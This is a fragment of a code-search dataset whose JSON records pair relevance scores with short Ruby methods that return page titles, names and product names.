APP_CONFIG[:site_name] # or a hard-coded default\n end\n end", "title": "" }, { "docid": "745cd0b130916d1c360d36cd4236ccad", "score": "0.77985126", "text": "def page_title(page_title)\n unless page_title.blank?\n content_for :page_title do\n content_tag(:h1, page_title, :id => 'page_title')\n end\n end\n end", "title": "" }, { "docid": "e4033dc9aa3f54af7143a97f1d41937e", "score": "0.7793196", "text": "def page_title\n if @title.present?\n I18n.t('page_title', :page_title => @title, :blog_title => blog_title)\n else\n I18n.t('home_title', :blog_title => blog_title)\n end\n end", "title": "" }, { "docid": "1f3240442b51e15f3f205912e2c28610", "score": "0.77909064", "text": "def title()\n @markdown_document.title()\n end", "title": "" }, { "docid": "cc9e60d459a732d0700e87d34ac44e8f", "score": "0.77847075", "text": "def title\n @title ||= parsed.css('head title').inner_text rescue nil\n end", "title": "" }, { "docid": "d672b553c3812b3f192070cd18c52ec5", "score": "0.7770578", "text": "def page_title\n title = @page_title ? \"/ #{@page_title}\" : ''\n content_tag(:title, 'GONDI.tv ' + title)\n end", "title": "" }, { "docid": "3c85cc5bf25d60e915ff638412195401", "score": "0.7761723", "text": "def header_text(page_title)\n page_title || @@base_title\n end", "title": "" }, { "docid": "9552c24e1c0ff8be7ddcf65dd48e42a1", "score": "0.774795", "text": "def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end", "title": "" }, { "docid": "bcd51d0b8eeca474f2c5a04d088b573b", "score": "0.772716", "text": "def title_with_page_title_check\n return @content_node.title if @content_node && !@content_node.title.blank?\n title_without_page_title_check\n end", "title": "" }, { "docid": "31e95b3452c5425aef024190f14ef22b", "score": "0.77260715", "text": "def get_title()\n return @title\n end", "title": "" }, { "docid": "ddacef6a8d6dfaeaf9a5542c002b036b", "score": "0.77217305", "text": "def render_page_title\n (content_for(:page_title) if content_for?(:page_title)) || @page_title || application_name\n end", "title": "" }, { "docid": "ef540cf8b5326a2ccae128c9ffab4c9b", "score": "0.7716158", "text": "def title\n doc.css(\"titleproper\").children.first.text.strip\n end", "title": "" }, { "docid": "df57bd25927e1d798d3e9fd5f32bf106", "score": "0.7714457", "text": "def page_title\n \t\"PatTalk\"\n end", "title": "" }, { "docid": "e1de527d067424d111d209cbf6e5c1fe", "score": "0.7701337", "text": "def title\n evaluate(\"document.title\")\n end", "title": "" }, { "docid": "e6d69f8ec4477425eb0c834425411071", "score": "0.7698452", "text": "def page_title(title)\n \"gbchaosmaster#{\" | #{title}\" unless title.blank?}\"\n end", "title": "" }, { "docid": "ccc814f247be4e9d84644f24bba9bc71", "score": "0.76950175", "text": "def\n get_title()\n @title\n end", "title": "" }, { "docid": "1de687fbceb73774515de4611f00deff", "score": "0.76925045", "text": "def page_title\n title = \"Amplify\"\n title.prepend(\"#{@page_title} | \") if @page_title\n title\n end", "title": "" }, { "docid": "9423c64ac0de8d0102c951d2579100b5", "score": "0.76862526", "text": "def title\n # strip some non-breaking space at the end\n @title ||= details.at(\"h1[itemprop='name']\").children.first.text.strip.gsub(' ', '') rescue nil\n end", "title": "" }, { "docid": "6fd3c3751b30e466b8ac386c87cd2350", "score": "0.76857185", "text": "def scrape_title( page )\n\t\tpage.title.split( ' - ' )[0]\n\tend", "title": "" }, { "docid": "c7c21abd2a9662f9b1942608467064a3", "score": "0.76653606", "text": "def title_with_page_title_check\n return @page.title if @page && !@page.title.blank?\n title_without_page_title_check\n end", "title": "" }, { "docid": "24f6fc8278c75d26afe21e884456e89f", "score": "0.766397", "text": "def page_title(page_title, klass=nil)\n unless page_title.blank?\n content_for :page_title do\n content_tag(:h1, page_title, :id => 'page_title', :class => klass)\n end\n end\n end", "title": "" }, { "docid": "128256d727ac45bc51cf1deedbad7abe", "score": "0.76589674", "text": "def head_title(title)\n content_for :head_title, title\n end", "title": "" }, { "docid": "c438fcd38a8afa94e0e4de4197a72f94", "score": "0.76585925", "text": "def get_title()\n @title\n end", "title": "" }, { "docid": "33b5ee510a15ea1a1774d8772ec562df", "score": "0.76584846", "text": "def title_tag_for_page(slug)\n content = \"\"\n \n @slug_page ||= Page.find_by_slug(slug)\n \n if @slug_page\n content = @slug_page.part_content(\"title_tag\")\n end\n \n content\n end", "title": "" }, { "docid": "5f8f24d74d33ab9378027bb4f5f0de56", "score": "0.76556146", "text": "def _title\n @link['title']\n end", "title": "" }, { "docid": "65ef93fa98b72234df94289df4720389", "score": "0.76487887", "text": "def studyTitle\n $async::wait_until($janus::WAY_TOO_LONG_TO_LOAD) { page_header.visible? }\n sleep 1 #TODO Refactor methods, steps are failing due to recent update from imedidata\n $async::wait_until($janus::WAY_TOO_LONG_TO_LOAD) { !page_header.text.empty? }\n page_header.text\n end", "title": "" }, { "docid": "614ad945461b6fc81c2c36ce101026ab", "score": "0.7645651", "text": "def get_title\n @title\n end", "title": "" }, { "docid": "29b71d55bcbe2088442075be57067c85", "score": "0.7633278", "text": "def guess_title(view_page)\n title = \"unknown\"\n h1 = view_page.css('h1')\n if (h1 != nil)\n title = view_page.title\n else\n title = h1.text\n end\n title\n end", "title": "" }, { "docid": "88cb372daae95fae48eaf75abfd395ce", "score": "0.76260084", "text": "def page_title\n \"#{human_readable_type} | #{title.first} | ID: #{id} | #{I18n.t('hyrax.product_name')}\"\n end", "title": "" }, { "docid": "49eea47f5e1bcccb2e8897dc5582ebb2", "score": "0.7623925", "text": "def page_title \n raw %(<title>#{page_title_raw}My USA Coin</title>)\n end", "title": "" }, { "docid": "0f89d55cea579397fc037ce46344e428", "score": "0.7617177", "text": "def title\n node.at(\"title\").text\n end", "title": "" }, { "docid": "f9bd2d2a2e3452330734d97cd0f2f87c", "score": "0.7615405", "text": "def title\n return @title\n end", "title": "" }, { "docid": "f9bd2d2a2e3452330734d97cd0f2f87c", "score": "0.7615405", "text": "def title\n return @title\n end", "title": "" }, { "docid": "f9bd2d2a2e3452330734d97cd0f2f87c", "score": "0.7615405", "text": "def title\n return @title\n end", "title": "" }, { "docid": "f9bd2d2a2e3452330734d97cd0f2f87c", "score": "0.7615405", "text": "def title\n return @title\n end", "title": "" } ]
f8e013415bc4193c081e61c59f10e158
for cache transport func
[ { "docid": "7a4d8692f6fa37721dc498bde11dc01f", "score": "0.0", "text": "def to_cache\n JSON.generate({:id => @id, :name => @name, :status => @status, :game_id => @game_id, :players => @players.map{|p| p.id}})\n end", "title": "" } ]
[ { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.7762093", "text": "def cache; end", "title": "" }, { "docid": "e695b0ad46a87b24bdc6cb543d6b0caa", "score": "0.7752569", "text": "def cache_store; end", "title": "" }, { "docid": "e695b0ad46a87b24bdc6cb543d6b0caa", "score": "0.7752569", "text": "def cache_store; end", "title": "" }, { "docid": "7abc5943fa85edf16ba3bbde70d48a23", "score": "0.7635325", "text": "def cache(data); end", "title": "" }, { "docid": "5bd62200cf316c300513aa0b566c5d06", "score": "0.73404604", "text": "def cache_store=(_arg0); end", "title": "" }, { "docid": "5bd62200cf316c300513aa0b566c5d06", "score": "0.73404604", "text": "def cache_store=(_arg0); end", "title": "" }, { "docid": "df1dc24ac53a53f5c9576dc44751b5da", "score": "0.7321232", "text": "def cache=(_arg0); end", "title": "" }, { "docid": "df1dc24ac53a53f5c9576dc44751b5da", "score": "0.7321232", "text": "def cache=(_arg0); end", "title": "" }, { "docid": "df1dc24ac53a53f5c9576dc44751b5da", "score": "0.7321232", "text": "def cache=(_arg0); end", "title": "" }, { "docid": "df1dc24ac53a53f5c9576dc44751b5da", "score": "0.7321232", "text": "def cache=(_arg0); end", "title": "" }, { "docid": "846376dcce94c90744b9453272172237", "score": "0.7263153", "text": "def cache_on?; end", "title": "" }, { "docid": "846376dcce94c90744b9453272172237", "score": "0.7263153", "text": "def cache_on?; end", "title": "" }, { "docid": "794ac33531de158764fca327b0541ef3", "score": "0.7142055", "text": "def cached?; end", "title": "" }, { "docid": "3c6fa159019090c200d4dbf232f82da8", "score": "0.7106072", "text": "def configure_cache; end", "title": "" }, { "docid": "51226c30aa47833118d6583aa1b28a7a", "score": "0.703286", "text": "def cache_value?; end", "title": "" }, { "docid": "b1f4e1431481ae36d7cc6b3b13b0ab27", "score": "0.70277363", "text": "def disable_caching=(_arg0); end", "title": "" }, { "docid": "0262e53c9521c7f42c2c9100343be0ab", "score": "0.70254517", "text": "def _cache_control; end", "title": "" }, { "docid": "2e89d4e2f4c4aff62969ea160ce77b12", "score": "0.6954541", "text": "def set_cache(value); end", "title": "" }, { "docid": "2e89d4e2f4c4aff62969ea160ce77b12", "score": "0.6954541", "text": "def set_cache(value); end", "title": "" }, { "docid": "c7d78b474b36e5b9578bc1edbd927b10", "score": "0.6947402", "text": "def cache_request\n cache\n end", "title": "" }, { "docid": "309cf4a87332c3d639ed675279d21983", "score": "0.68893194", "text": "def cache\n DataCache\n end", "title": "" }, { "docid": "4db01cabbb2c6e25526e6a98799e246e", "score": "0.68414915", "text": "def cache_key\n end", "title": "" }, { "docid": "3dabac506c8bafbe5c7d95f8071af969", "score": "0.6834846", "text": "def http_cache_forever(public: T.unsafe(nil)); end", "title": "" }, { "docid": "cf9dc2bbbf01371e0aefe8783f8d0c44", "score": "0.6795059", "text": "def flush_cache; end", "title": "" }, { "docid": "5b43e43dae423f4ae2e59c44a94ef326", "score": "0.66565424", "text": "def add_cache_control; end", "title": "" }, { "docid": "aa640ac0376fa8635ace877ccb5bd8cf", "score": "0.6597373", "text": "def filter_cache; end", "title": "" }, { "docid": "2026f628252239c7bc25ab5e8137e51b", "score": "0.6596649", "text": "def disable_caching; end", "title": "" }, { "docid": "adbeee2de4da3c14db69c298ff8a048b", "score": "0.65466714", "text": "def cached\n raise NotImplementedError\n end", "title": "" }, { "docid": "172fec3291d53a8ca876194360cf5a68", "score": "0.6541339", "text": "def cache_fetch(*args)\n super { |key| @store[key] }\n end", "title": "" }, { "docid": "efe5f37a841369cc1256b720a5ea562b", "score": "0.6457296", "text": "def try_with_cache(obj, source, consume_all); end", "title": "" }, { "docid": "4c152feaf19f4f96db6cdbd366310720", "score": "0.64513683", "text": "def cache_key; @cache.to_sym; end", "title": "" }, { "docid": "17e99494612dbeffd1b67126ee5a9e99", "score": "0.64495564", "text": "def cache\n yield\n end", "title": "" }, { "docid": "e984da713581ca68c624de848618e829", "score": "0.6447128", "text": "def cache_timeout\n super\n end", "title": "" }, { "docid": "2ed53330405efe188e4b78e9b1541ca4", "score": "0.64331555", "text": "def cache_for(expires, *args, &blk)\n @cache_data ||= CacheData.new\n @cache_data.value caller_locations(1,1)[0].label.to_sym, expires, args, &blk\n end", "title": "" }, { "docid": "a82d9c65754493416c46490cc82db61e", "score": "0.63982695", "text": "def cache_dir=(_arg0); end", "title": "" }, { "docid": "fcfe1d6903f0956c47695a87c19dc99a", "score": "0.63885653", "text": "def cache!\n @@cache\n end", "title": "" }, { "docid": "d266f24bf0a1a156e37285251c8e9cde", "score": "0.635967", "text": "def cache_key(id); end", "title": "" }, { "docid": "e2b25c31efbc0889120a3ab8d7cb1c2c", "score": "0.63544863", "text": "def move_to_cache\r\n true\r\n end", "title": "" }, { "docid": "6d3a6c3979079d6535c49d75ee73ba4d", "score": "0.63392943", "text": "def cache_dir; end", "title": "" }, { "docid": "6d3a6c3979079d6535c49d75ee73ba4d", "score": "0.63392943", "text": "def cache_dir; end", "title": "" }, { "docid": "6ffdffa10b8eb84d16e18659dbd56019", "score": "0.6318597", "text": "def move_to_cache\n true\n end", "title": "" }, { "docid": "2180c86d22ec4ec6a05cfd88f9d1a684", "score": "0.63181615", "text": "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "title": "" }, { "docid": "2180c86d22ec4ec6a05cfd88f9d1a684", "score": "0.63181615", "text": "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "title": "" }, { "docid": "2180c86d22ec4ec6a05cfd88f9d1a684", "score": "0.63181615", "text": "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "title": "" }, { "docid": "2180c86d22ec4ec6a05cfd88f9d1a684", "score": "0.63181615", "text": "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "title": "" }, { "docid": "8346d047c10b637a7b85cad84b374884", "score": "0.6285758", "text": "def without_cache(&block); end", "title": "" }, { "docid": "8346d047c10b637a7b85cad84b374884", "score": "0.6285758", "text": "def without_cache(&block); end", "title": "" }, { "docid": "d049cba29065aff54d046bac41b066c7", "score": "0.62840897", "text": "def interface_cache; end", "title": "" }, { "docid": "cfc96ac160d52171b6ddf0058faf2f37", "score": "0.6279941", "text": "def update_cache\n # Does nothing...up to subclasses to implement.\n end", "title": "" }, { "docid": "778980ab781f3b42908437a22e090cfb", "score": "0.6264628", "text": "def [](*args)\n args = args.first if (args.size == 1)\n return super(args) if args.is_a?(Hash)\n ck = cache_key(args)\n if obj = @cache_store.get(ck)\n return obj\n end\n if obj = super(args)\n @cache_store.set(ck, obj, @cache_ttl)\n end \n obj\n end", "title": "" }, { "docid": "d0891d5527382425a8bd08dc605d46ba", "score": "0.6260642", "text": "def process\n # Do nothing if caching is off\n return nil unless data[:options][:cache]\n # There is nothing to cache if we stream things\n return nil if data[:response][:instance].is_io?\n\n cache_patterns = data[:options][:cache_patterns] || []\n opts = { :relative_path => data[:request][:relative_path],\n :request => data[:request][:instance],\n :response => data[:response][:instance],\n :verb => data[:request][:verb],\n :params => data[:request][:orig_params].dup }\n\n # Walk through all the cache patterns and find the first that matches\n cache_patterns.each do |pattern|\n # Try on the next pattern unless the current one matches.\n next unless Utils::pattern_matches?(pattern, opts)\n # Process the matching pattern.\n log(\"Request matches to cache pattern: #{pattern.inspect}\")\n # Build a cache key and get a text to be signed\n cache_key, text_to_sign = build_cache_key(pattern, opts)\n cache_record = {\n :timestamp => Time::now.utc,\n :md5 => Digest::MD5::hexdigest(text_to_sign).to_s,\n :hits => 0\n }\n log(\"Processing cache record: #{cache_key} => #{cache_record.inspect}\")\n # Save current cache key for later use (by other Routines)\n data[:vars][:cache] ||= {}\n data[:vars][:cache][:key] = cache_key\n data[:vars][:cache][:record] = cache_record\n # Get the cache storage\n storage = (data[:vars][:system][:storage][:cache] ||= {} )\n unless storage[cache_key]\n # Create a new record unless exists.\n storage[cache_key] = cache_record\n log(\"New cache record created\")\n else\n # If the record is already there but the response changed the replace the old record.\n unless storage[cache_key][:md5] == cache_record[:md5]\n storage[cache_key] = cache_record\n log(\"Missed. Record is replaced\")\n else\n # Raise if cache hits.\n storage[cache_key][:hits] += 1\n message = \"Cache hit: #{cache_key.inspect} has not changed since \" +\n \"#{storage[cache_key][:timestamp].strftime('%Y-%m-%d %H:%M:%S')}, \"+\n \"hits: #{storage[cache_key][:hits]}.\"\n log(message)\n fail CacheHit::new(\"CacheValidator: #{message}\")\n end\n end\n break\n end\n true\n end", "title": "" }, { "docid": "30edad7f0d2c707bd12475ee76e67edc", "score": "0.624989", "text": "def method_missing(method_name, *args)\n @cache ||= Rails.cache.instance_variable_get(\"@data\")\n @cache.send(method_name, *args)\n end", "title": "" }, { "docid": "62af3803e0094e730a22d7f50caa4f55", "score": "0.6225862", "text": "def get(cache_method)\n cache.send(cache_method)\n end", "title": "" }, { "docid": "82ca42d7f2067b5a67e4fa280c13ad34", "score": "0.62171894", "text": "def get\n raise StandardError, \"Implement '.get' in your Cache!\"\n end", "title": "" }, { "docid": "c33f4d56c51dcb9c95b5934aae21e824", "score": "0.62063295", "text": "def update_cache(type, id, data)\n end", "title": "" }, { "docid": "c33f4d56c51dcb9c95b5934aae21e824", "score": "0.62063295", "text": "def update_cache(type, id, data)\n end", "title": "" }, { "docid": "2fcb324d5da53b0aeabaed80f32a0bd5", "score": "0.6198113", "text": "def disable_cache; end", "title": "" }, { "docid": "38d86b2481fa5acfcc084a31daaefcf6", "score": "0.618496", "text": "def move_to_cache\n true\n end", "title": "" }, { "docid": "38d86b2481fa5acfcc084a31daaefcf6", "score": "0.618496", "text": "def move_to_cache\n true\n end", "title": "" }, { "docid": "38d86b2481fa5acfcc084a31daaefcf6", "score": "0.618496", "text": "def move_to_cache\n true\n end", "title": "" }, { "docid": "145cf7aca34d20412380c3efbb0cd655", "score": "0.6175752", "text": "def call_with_cache(key)\n cache.key?(key) ? cache[key] : cache[key] = fetch(key).call\n end", "title": "" }, { "docid": "27604a34916cdd0b909b8f91663ad230", "score": "0.6170334", "text": "def cache_get(key)\n nil\n end", "title": "" }, { "docid": "08d4e8def9911c5ea60a13d7904078ee", "score": "0.6160907", "text": "def instance_cache; end", "title": "" }, { "docid": "2363dd8cbfc93923199e2ce44b088779", "score": "0.61498916", "text": "def cacheable?\n true\n end", "title": "" }, { "docid": "a1de389cb063294a9774347f0b41725b", "score": "0.61458486", "text": "def key\n :cache\n end", "title": "" }, { "docid": "f726a0a5572715f22f168882ace730a1", "score": "0.613784", "text": "def cache_get(ck)\n cache_op(:get, ck)\n end", "title": "" }, { "docid": "4f130625e6db6fd6eb700436a04a9fa5", "score": "0.6137385", "text": "def serve_from_cache!\n puts \"\\nServed from cache '#{request.uri}'\\n\\n\" if ::SETTINGS['debug']\n TinyProxy::Cache.get(request.uri)\n end", "title": "" }, { "docid": "d070b339961af4b8c5f45a7a8ab34512", "score": "0.6137065", "text": "def cache_size\n super\n end", "title": "" }, { "docid": "5640309d72475ddda8ee6756b60efdfb", "score": "0.61336964", "text": "def cache_store_type\n \"dummy\"\n end", "title": "" }, { "docid": "12fd9eddb84a06b9a654545c561e3897", "score": "0.6132979", "text": "def cache?\n false\n end", "title": "" }, { "docid": "950ba22d223e680afcd45a2539357ea5", "score": "0.6129317", "text": "def cache_look(src, dst)\n #p 'cache'\n res = @redis.get redis_key(src, dst)\n res.to_f if res\n end", "title": "" }, { "docid": "4641cbd22809543bcf991d226eb66a51", "score": "0.6117064", "text": "def cache\n $Redis\n end", "title": "" }, { "docid": "0b8080d7d386dd73eec13f293e69fe29", "score": "0.6107561", "text": "def discovery_cache; end", "title": "" }, { "docid": "2548509d7427f51bb3e6f187767d76ed", "score": "0.60949147", "text": "def cache(named_key, ttl, object)\n @mutex.synchronize {\n self[named_key] = object\n @timestamps[named_key][:ttl] = ttl\n @timestamps[named_key][:expire_type] = :created\n @timestamps[named_key][:is_cache] = true\n } \n end", "title": "" }, { "docid": "5fa26bfabc7b0131213c2067ed163beb", "score": "0.6092386", "text": "def cache(opts = {}, &block)\n expiration_time = (opts[:expires_in] || default_expire_time).to_i\n stale_time = (opts[:stale_for] || default_stale_if_error_time).to_i\n cache_key = opts[:key]\n\n set_headers(expiration_time, stale_time)\n\n if expiration_time > 0\n ::Rails.cache.fetch(cache_key, raw: true, expires_in: expiration_time) do\n block.call.to_json\n end\n else\n block.call.to_json\n end\n end", "title": "" }, { "docid": "f3953b12228d0484d57ed77906e79df4", "score": "0.6092318", "text": "def singleton_cache; end", "title": "" }, { "docid": "aa18965f5ddd7f6ae28ff2f8bdd05bda", "score": "0.6089198", "text": "def clear_cache; end", "title": "" }, { "docid": "406ad106d5cab2461e0c029e901d4f69", "score": "0.6083719", "text": "def cache; shrine_class.new(cache_key); end", "title": "" }, { "docid": "959a58382ef5343b553ee28edfbfba1c", "score": "0.6082632", "text": "def cache(name, opts={}, &block)\n cache = opts[:cache]\n if cache then\n if redis.exists name then\n redis.get name\n else\n value = yield\n redis.set name, value\n value\n end\n else\n value = yield\n redis.set \"last_request\", Time.now\n end\n end", "title": "" }, { "docid": "e5628a5adf5ad121dabc99bb91ad2a5b", "score": "0.6079656", "text": "def cache_record\n Rails.cache.write(\"block_#{@from}_#{@to}\", expires_in: 4.hours)\n end", "title": "" }, { "docid": "4990bb80785b8a788356ffd27eaa478a", "score": "0.607533", "text": "def counter_cache=(_arg0); end", "title": "" }, { "docid": "de559e3c215affd54fdc049d4092478a", "score": "0.60469997", "text": "def cache_get(k)\n synchronize{@cache[k]}\n end", "title": "" }, { "docid": "307e01a3b5a3012ed1589241af109906", "score": "0.6040803", "text": "def update_cache(type, id, data)\n end", "title": "" }, { "docid": "221a0afce901e7e8a3dfe71ef7856554", "score": "0.60401946", "text": "def escribe_cache\n Rails.cache.write(\"cache_service_#{id}\", true, :expires_in => 1.week)\n end", "title": "" }, { "docid": "ccf7534714ac14ae0779eec92511f3c7", "score": "0.6039249", "text": "def cache_collect\n\t\tRepository.repo.get_from_cache(@template)\n\tend", "title": "" }, { "docid": "bc852d07b8db52eecc8c06cd1555cf51", "score": "0.6033084", "text": "def _smart_cache(expires_in, *keys, &block)\n key = _cache_key(keys)\n unless cached = Rails.cache.read( key )\n cached = yield(block) \n Rails.cache.write(key, cached, expires_in: expires_in) \n end\n cached\n end", "title": "" }, { "docid": "75f7a86bd87dc7bbc84aa8830950f38a", "score": "0.603229", "text": "def cache_data?(key, obj)\n if(data = @redis.get(key)).nil? # this data is a json\n\n\t\t\tdata = historical_run(key, obj.map()).to_json\n @redis.set(key, data) # redis must cache a json\n @redis.expire(key,14400)\n\t\tend\n\n return JSON.parse(data) # this data must be changed to object\n end", "title": "" }, { "docid": "30b24f0a92c8a7f9dd1411b860d95ef4", "score": "0.601118", "text": "def fetch; end", "title": "" }, { "docid": "30b24f0a92c8a7f9dd1411b860d95ef4", "score": "0.601118", "text": "def fetch; end", "title": "" }, { "docid": "f707595309941f8cc933b072ba8ce572", "score": "0.60037875", "text": "def cached(key:, ttl: 5.minutes)\n redis = CertManager::Configuration.redis_client\n redis_key = \"User_#{id}_#{key}\"\n value = redis.get(redis_key)\n value = JSON.parse(value) if value\n unless value\n value = yield\n redis.setex(redis_key, ttl, value.to_json)\n end\n value\n end", "title": "" }, { "docid": "c9b1d9a010765df2843e6512e46e75d8", "score": "0.5999289", "text": "def cache(file_obj, data_result, url, username, password)\n data_result[:uuid] = UUID.generate\n key = generate_key url, username, password\n\n begin\n data_result[:data_tmp_path] = store_data_to_tmp file_obj, data_result[:uuid]\n data_result[:time_stored] = Time.now\n @@file_cache[key] = data_result\n rescue Exception => e\n @@file_cache[key] = nil\n end\n end", "title": "" }, { "docid": "7dd80de208365590e6f4e77d31110605", "score": "0.5981262", "text": "def cache_response(resource, single_resource)\n super resource, false\n end", "title": "" }, { "docid": "a87f3c1178f9e68ee4202c43fbd32af6", "score": "0.59741634", "text": "def cache time: 3600, &block\n return yield if 'development' == ENV['RACK_ENV']\n\n key = \"url:#{I18n.locale}:#{request.path}\"\n cached = $redis.get(key)\n page = cached || yield\n etag Digest::SHA1.hexdigest(page)\n\n if cached\n ttl = $redis.ttl(key)\n response.header['redis-ttl'] = ttl.to_s\n response.header['redis'] = 'HIT'\n else\n response.header['redis'] = 'MISS'\n $redis.setex(key, time, page)\n end\n page\n end", "title": "" }, { "docid": "1ed40defc018cc5dff8880bb5f251a36", "score": "0.5958189", "text": "def cached(cache_key)\n begin\n result = yield\n $memcache.set(cache_key, result, 7200)\n warn \"Component #{cache_key} Set Successfully\" \n result\n rescue\n {}\n end\n end", "title": "" }, { "docid": "0fd66db803e77cb6db734e6f72f4eaa9", "score": "0.5952462", "text": "def use_cache(cache)\n @cache = cache\n end", "title": "" } ]
3ca22d1055d8f8c034322463531c6a8b
Fancy product name getter
[ { "docid": "4f8a301c1920717f4b3b38967e602330", "score": "0.84396416", "text": "def product_name_fancy\n\t\t\tif self.product\n\t\t\t\treturn self.product.name_fancy\n\t\t\telse\n\t\t\t\treturn self.product_name\n\t\t\tend\n\t\tend", "title": "" } ]
[ { "docid": "7f5ecc62cd73293789b92676e86e38bf", "score": "0.86363506", "text": "def product_name\n return @product_name\n end", "title": "" }, { "docid": "46d023ecc12380f7f953cf0e506e4964", "score": "0.85513", "text": "def product_name; end", "title": "" }, { "docid": "ab6fea947a8069aaf6435eba7bc5713c", "score": "0.8541763", "text": "def name\n @product.name\n end", "title": "" }, { "docid": "e7bb2a25f8a4c72a4eb5411f6468cdb7", "score": "0.82628554", "text": "def product_name\n return product_presentation.name if product_presentation\n return \"\"\n end", "title": "" }, { "docid": "328c1f46398798c9db6384c40a0aa91f", "score": "0.79496056", "text": "def product_name\n name? ? name : [product.name, sub_name].reject{ |a| a.strip.length == 0 }.join(' - ')\n end", "title": "" }, { "docid": "dd3eee0251fb9eaf50a0b4e34610c972", "score": "0.7764865", "text": "def product_name\n name? ? name : [product.name, sub_name].reject{ |a| a.strip.length == 0 }.join(' - ')\n end", "title": "" }, { "docid": "debb5a4803b312cc0c3c290c16fc0769", "score": "0.77575356", "text": "def product\n self[\"ProductName\"]\n end", "title": "" }, { "docid": "48cd135813219c35530c734b683b14c5", "score": "0.7546156", "text": "def product_name=(value)\n @product_name = value\n end", "title": "" }, { "docid": "80f933e15387d150e662eb89296d1cd3", "score": "0.7469903", "text": "def product_header(product)\r\n product.product_name\r\n end", "title": "" }, { "docid": "8d08c7ec8ac08a93a3bb886ff5752b9d", "score": "0.7370573", "text": "def getProdbyName(name)\n prod = @@products.find { |p| p.name == name }\n if prod.nil?\n puts \"Oh! Looks like there are No Products registered with Name : #{name}\"\n else\n puts \"Product Details for : #{name}\"\n puts \"\\n (*) Product Name : #{prod.name}\"\n puts \" (*) Units in Stock : #{prod.units}\"\n puts \" (*) Per Unit Price : Rs. #{prod.price} INR\"\n puts \" (*) Minimum Stock Units : #{prod.min_stock}\"\n puts \" (*) Maximum Stock Units : #{prod.max_stock}\"\n end\n end", "title": "" }, { "docid": "ab30b6ba15a800baf031bf7007304da3", "score": "0.7364937", "text": "def name\n rpg_shop.name\n end", "title": "" }, { "docid": "9174583db5c2723b3f34820a25df5736", "score": "0.73603725", "text": "def brand_name\n product.brand_name\n end", "title": "" }, { "docid": "f312aeda76d84c719c3ac4b803e32da8", "score": "0.7092648", "text": "def product_name_with_unit_price\n price = unit_price\n price = product.price if price.nil?\n \"#{product.name} ($#{price})\"\n end", "title": "" }, { "docid": "93b77e41c94124ae9d580dc6074a1e7c", "score": "0.70603895", "text": "def get_name\n @name\n end", "title": "" }, { "docid": "e3ac4949ff2bf0b94075e51e942b8037", "score": "0.70570415", "text": "def get_name\r\n self.name\r\n end", "title": "" }, { "docid": "55bef86710ac869c270cb12f5d5aadb0", "score": "0.7047323", "text": "def brand_name\n product.brand_name\n end", "title": "" }, { "docid": "ef8c1c05a641d5a17bed7611fbc88980", "score": "0.7042718", "text": "def get_name\n return @name\n end", "title": "" }, { "docid": "b029f8ab4fd7bdcf178b2e8e5c70646d", "score": "0.7039681", "text": "def get_name()\n @name\n end", "title": "" }, { "docid": "b029f8ab4fd7bdcf178b2e8e5c70646d", "score": "0.7039681", "text": "def get_name()\n @name\n end", "title": "" }, { "docid": "53931ed36a4e0dc56177a7399e629c0c", "score": "0.7037527", "text": "def get_product_title(id)\n product = ShopifyAPI::Product.find(id)\n product.title\n end", "title": "" }, { "docid": "202b125bd279e5135155d4147be4fac6", "score": "0.70362264", "text": "def get_name\n return \"#{name}\"\n end", "title": "" }, { "docid": "2ce2bd0cff07c3a9c8b85cd42fbaac95", "score": "0.7035195", "text": "def name\n sku.name\n end", "title": "" }, { "docid": "6c312e28c50168628880707f2e7bf6c6", "score": "0.7023477", "text": "def pet_shop_name(pet_shop)\n return pet_shop[:name]\nend", "title": "" }, { "docid": "6c312e28c50168628880707f2e7bf6c6", "score": "0.7023477", "text": "def pet_shop_name(pet_shop)\n return pet_shop[:name]\nend", "title": "" }, { "docid": "6c312e28c50168628880707f2e7bf6c6", "score": "0.7023477", "text": "def pet_shop_name(pet_shop)\n return pet_shop[:name]\nend", "title": "" }, { "docid": "6c312e28c50168628880707f2e7bf6c6", "score": "0.7023477", "text": "def pet_shop_name(pet_shop)\n return pet_shop[:name]\nend", "title": "" }, { "docid": "6c312e28c50168628880707f2e7bf6c6", "score": "0.7023477", "text": "def pet_shop_name(pet_shop)\n return pet_shop[:name]\nend", "title": "" }, { "docid": "306dbf35f627e255fd44041458537ddb", "score": "0.70086217", "text": "def get_name\n @name\n end", "title": "" }, { "docid": "306dbf35f627e255fd44041458537ddb", "score": "0.70086217", "text": "def get_name\n @name\n end", "title": "" }, { "docid": "306dbf35f627e255fd44041458537ddb", "score": "0.70086217", "text": "def get_name\n @name\n end", "title": "" }, { "docid": "306dbf35f627e255fd44041458537ddb", "score": "0.70086217", "text": "def get_name\n @name\n end", "title": "" }, { "docid": "3fe321132e5e0903c80b32608394875f", "score": "0.70059854", "text": "def get_name\n\t\t@name\n\tend", "title": "" }, { "docid": "488e19c63e0b196aeb66dfc478c0ef8a", "score": "0.7005763", "text": "def label_name(product)\n return product.label_override unless product.label_override.nil?\n Google::StringUtils.underscore(product.name)\n .split('_')\n .map { |x| x[0] }\n .join\n .concat('_label')\n end", "title": "" }, { "docid": "97b8382d7939cb84d3cb0a82686a80f9", "score": "0.7000286", "text": "def product_title(product)\n product['title'] \nend", "title": "" }, { "docid": "700764ac4a3dc6cbebe79a33a4af157a", "score": "0.6998495", "text": "def product_name(array_item)\n\tarray_item[\"title\"]\nend", "title": "" }, { "docid": "76493db60bfcc06ed2d97491a9190746", "score": "0.6974254", "text": "def getName; @name; end", "title": "" }, { "docid": "3f17b8b782606aed46e797ffd05e3115", "score": "0.6957299", "text": "def get_name\n \"#{@manufacturer} #{@model}\"\n end", "title": "" }, { "docid": 